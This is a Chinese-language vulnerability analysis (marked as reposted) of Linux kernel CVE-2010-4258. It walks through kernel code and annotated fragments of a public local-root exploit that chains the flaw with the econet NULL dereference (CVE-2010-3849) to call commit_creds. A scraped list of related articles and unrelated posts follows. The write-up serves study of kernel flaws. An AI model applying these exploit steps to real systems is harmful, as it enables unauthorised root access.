一. 漏洞简介

CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。

二. 前置知识 (进程创建、退出)

1.当fork或者clone一个进程在的时候, copy_process执行如下操作:

  1. static struct task_struct *copy_process(unsigned long clone_flags,
  2. unsigned long stack_start,
  3. struct pt_regs *regs,
  4. unsigned long stack_size,
  5. int __user *child_tidptr,
  6. struct pid *pid,
  7. int trace)
  8. {
  9. p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
  10. /*
  11. * Clear TID on mm_release()
  12. */
  13. p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
  14. }

如果clone的flag带有CLONE_CHILD_CLEARTID标志,那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。

2.应用层调用clone函数,并传递CLONE_CHILD_CLEARTID标志,则child_tidptr指针就会被赋值给子进程的clear_child_tid

  1. clone((int (*)(void *))trigger,
  2. (void *)((unsigned long)newstack + 65536),
  3. CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
  4. &fildes, NULL, NULL, child_tidptr);

3.进程在退出的时候调用do_exit清理资源,调用路径如下:do_exit->exit_mm->mm_release

  1. /*
  2. * If we're exiting normally, clear a user-space tid field if
  3. * requested.  We leave this alone when dying by signal, to leave
  4. * the value intact in a core dump, and to save the unnecessary
  5. * trouble, say, a killed vfork parent shouldn't touch this mm.
  6. * Userland only wants this done for a sys_exit.
  7. */
  8. if (tsk->clear_child_tid) {
  9. if (!(tsk->flags & PF_SIGNALED) &&
  10. atomic_read(&mm->mm_users) > 1) {
  11. /*
  12. * We don't check the error code - if userspace has
  13. * not set up a proper pointer then tough luck.
  14. */
  15. put_user(0, tsk->clear_child_tid);
  16. sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
  17. 1, NULL, NULL, 0);
  18. }
  19. tsk->clear_child_tid = NULL;
  20. }

上述代码中,如果tsk->clear_child_tid不为空,那么其会调用put_user(0, tsk->clear_child_tid);

4.put_user其实是一个宏,具体是__put_user_check函数,它会将tsk->clear_child_tid的值置为0

  1. #define __put_user_check(x,ptr,size)                \
  2. ({                              \
  3. long __pu_err = -EFAULT;                \
  4. __typeof__(*(ptr)) __user *__pu_addr = (ptr);       \
  5. __typeof__(*(ptr)) __pu_val = x;            \
  6. if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))   \
  7. __put_user_size(__pu_val, __pu_addr, (size),    \
  8. __pu_err);          \
  9. __pu_err;                       \
  10. })

__put_user_check函数会调用access_ok去检查传进来的参数是否合法

  1. #define access_ok(type,addr,size)   _access_ok((unsigned long)(addr),(size))
  2. int _access_ok(unsigned long addr, unsigned long size)
  3. {
  4. if (!size)
  5. return 1;
  6. if (!addr || addr > (0xffffffffUL - (size - 1)))
  7. goto _bad_access;
  8. if (segment_eq(get_fs(), KERNEL_DS))
  9. return 1;
  10. if (memory_start <= addr && (addr + size - 1) < memory_end)
  11. return 1;
  12. _bad_access:
  13. pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",
  14. current->pid, addr, size);
  15. return 0;
  16. }

access_ok也是一个宏,具体函数为_access_ok,其主要对外部传进来的addr和size参数做合法性检查,其中关键调用语句如下

if (segment_eq(get_fs(), KERNEL_DS))
return 1;

# define get_fs() (current_thread_info()->addr_limit)

如果get_fs() = KERNEL_DS,那么_access_ok检查始终返回1.

三. 前置知识(无效地址访问异常)

每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等。

  1. int do_page_fault(struct pt_regs *regs, unsigned long address,
  2. unsigned int write_access, unsigned int trapno)
  3. {
  4. // ......
  5. die("Oops", regs, (write_access << 15) | trapno, address);
  6. do_exit(SIGKILL);
  7. }

而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件,这个很关键。

接下来看看CVE-2010-3849这个漏洞,它主要是一个0地址访问异常漏洞,msg->msg_name可以由用户空间控制,因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。

  1. static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
  2. struct msghdr *msg, size_t len)
  3. {
  4. struct sock *sk = sock->sk;
  5. struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
  6. eb->cookie = saddr->cookie;
  7. }

四. 漏洞利用

1.获取需要用到的函数地址

  1. /* Resolve addresses of relevant symbols */
  2. printf("[*] Resolving kernel addresses...\n");
  3. econet_ioctl = get_kernel_sym("econet_ioctl");
  4. econet_ops = get_kernel_sym("econet_ops");
  5. commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
  6. prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

2.申请一块新进程的栈空间

  1. if(!(newstack = malloc(65536))) {
  2. printf("[*] Failed to allocate memory.\n");
  3. return -1;
  4. }

3.处理好需要映射的地址,比较关键

  1. // econet_ops中保存了各个econet函数的地址指针,
  2. // 10 * sizeof(void *)到达econet_ioctl的下一个函数地址
  3. // 再-1,那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节
  4. target = econet_ops + 10 * sizeof(void *) - OFFSET;
  5. // 清掉econet_ioctl函数的高8字节
  6. landing = econet_ioctl << SHIFT >> SHIFT;
  7. // landing按页对齐,map了2个页的内存
  8. payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
  9. PROT_READ | PROT_WRITE | PROT_EXEC,
  10. MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  11. if ((long)payload == -1) {
  12. rintf("[*] Failed to mmap() at target address.\n");
  13. return -1;
  14. }
  15. // 将提权代码拷贝到landing
  16. memcpy((void *)landing, &trampoline, 1024);

ps.这里要说明一下,这里为什么要把地址映射到(econet_ioctl&0x00FFFFFF)地址范围内,而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了,所以采用了一个很巧妙的小技巧。

可以调用查看下系统最低映射的地址,我这里是65536

4.clone进程

  1. // trigger用来触发CVE-2010-3849漏洞,是一个0地址访问异常
  2. int trigger(int * fildes)
  3. {
  4. int ret;
  5. struct ifreq ifr;
  6. memset(&ifr, 0, sizeof(ifr));
  7. strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
  8. ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
  9. if(ret < 0) {
  10. printf("[*] Failed to set Econet address.\n");
  11. return -1;
  12. }
  13. splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
  14. splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
  15. /* Shouldn't get here... */
  16. exit(0);
  17. }
  18. // clone进程,子进程调用trigger触发0地址访问的漏洞,进而将target指向的地址清0
  19. // 即清掉了econet_ioctl函数地址的高8字节
  20. clone((int (*)(void *))trigger,
  21. (void *)((unsigned long)newstack + 65536),
  22. CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
  23. &fildes, NULL, NULL, target);

5.最后ioctl函数触发底层的econet_ioctl函数执行,而econet_ioctl函数的高8字节已经被我们清零了,所以会调用到我们的map地址中,进而触发提权代码获得root权限

  1. sleep(1);
  2. printf("[*] Triggering payload...\n");
  3. ioctl(fildes[2], 0, NULL);

参考文章:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258

http://www.exploit-db.com/exploits/15704/

http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9

【转】CVE-2010-4258 漏洞分析的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  5. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  6. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  7. cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析

    用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试    Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...

  8. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  9. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

  10. jackjson学习2+CVE-2019-14379漏洞分析

    最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅 昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分 ...

随机推荐

  1. change object keys & UpperCase & LowerCase

    change object keys & UpperCase & LowerCase .toLocaleUpperCase(); && .toLocaleLowerCa ...

  2. touchSwipe 上下左右滑动,二指缩放 效果不好。

    $(function(){ var _showImgW; var _showImgH; var _showImgMT; var _showImgML; $("#imgDiv").s ...

  3. 【bzoj1901】Zju2112 Dynamic Rankings 离散化+主席树+树状数组

    题目描述 给定一个含有n个数的序列a[1],a[2],a[3]……a[n],程序必须回答这样的询问:对于给定的i,j,k,在a[i],a[i+1],a[i+2]……a[j]中第k小的数是多少(1≤k≤ ...

  4. Go语言【第八篇】:Go语言变量作用域

    Go语言变量作用域 作用域为已声明标识符所表示的常量.类型.变量.函数或包在源代码中的作用范围,Go语言中变量可以在三个地方声明: 函数内定义的变量称为局部变量: 函数外定义的变量称为全局变量: 函数 ...

  5. Codeforces ECR52 div2翻车记

    A:签到. #include<iostream> #include<cstdio> #include<cmath> #include<cstdlib> ...

  6. BZOJ3997 TJOI2015组合数学(动态规划)

    copy: Dilworth定理:DAG的最小链覆盖=最大点独立集 最小链覆盖指选出最少的链(可以重复)使得每个点都在至少一条链中 最大点独立集指最大的集合使集合中任意两点不可达 此题中独立的定义即是 ...

  7. 详解 ES6 Modules

    详解 ES6 Modules 对于新人朋友来说,想要自己去搞定一个ES6开发环境并不是一件容易的事情,因为构建工具的学习本身又是一个非常大的方向,我们需要花费不少的时间才能掌握它. 好在慢慢的开始有大 ...

  8. [51nod1325]两棵树的问题

    description 题面 solution 点分治+最小割. 点分必选的重心,再在树上dfs判交,转化为最大权闭合子图. 可以做\(k\)棵树的情况. code #include<iostr ...

  9. [洛谷P3174][HAOI2009]毛毛虫

    题目大意:给一棵树,求其中最大的“毛毛虫”,毛毛虫的定义是一条链上分出几条边 题解:把每个点的权值定义为它的度数减一,跑带权直径即可,最后答案加二 卡点:无 C++ Code: #include &l ...

  10. 【BZOJ4520】K远点对(KD-Tree)

    [BZOJ4520]K远点对(KD-Tree) 题面 BZOJ 洛谷 题解 考虑暴力. 维护一个大小为\(K\)的小根堆,然后每次把两个点之间的距离插进去,然后弹出堆顶 这样子可以用\(KD-Tree ...